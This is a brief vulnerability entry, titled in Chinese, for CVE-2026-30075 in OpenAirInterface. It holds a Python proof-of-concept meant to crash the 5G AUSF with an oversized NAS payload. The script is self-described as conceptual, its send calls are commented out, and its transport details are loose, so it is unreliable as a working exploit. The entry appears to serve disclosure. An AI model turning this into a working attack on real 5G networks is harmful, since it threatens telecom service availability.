CVE-2026-30075 OpenAirInterface缓冲区溢出漏洞

# PoC Concept for CVE-2026-30075 # This script demonstrates how to send a crafted NAS PDU to trigger the buffer overflow. # Note: This is a conceptual demonstration and requires a 5G stack library to construct valid NAS messages. import socket # Target AUSF component (or AMF which forwards to AUSF) # In a real scenario, this would be the AMF IP/Port listening for N1/N2 traffic. TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Example SCTP port for NGAP # Construct a malicious payload # A normal Authentication Response is much smaller. # We send a large buffer (e.g., 100 bytes or more) to overflow the reading buffer in AUSF. malicious_payload = b"\x00" * 200 # 200 bytes of null bytes # In a real 5G attack, this would be wrapped in a NAS Authentication Response message # inside a Uplink NAS Transport container sent via NGAP. # For demonstration purposes, we simulate sending the raw oversized data. def send_exploit(): try: # Create a socket (SCTP is typically used for NGAP, but TCP shown for simplicity) # In practice, tools like Scapy with SCTP support or specific 5G test tools (e.g., srsRAN) are used. print(f"[*] Sending malicious payload to {TARGET_IP}:{TARGET_PORT}") # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_IP, TARGET_PORT)) # sock.send(malicious_payload) # sock.close() print("[+] Payload sent. If vulnerable, AUSF should crash.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()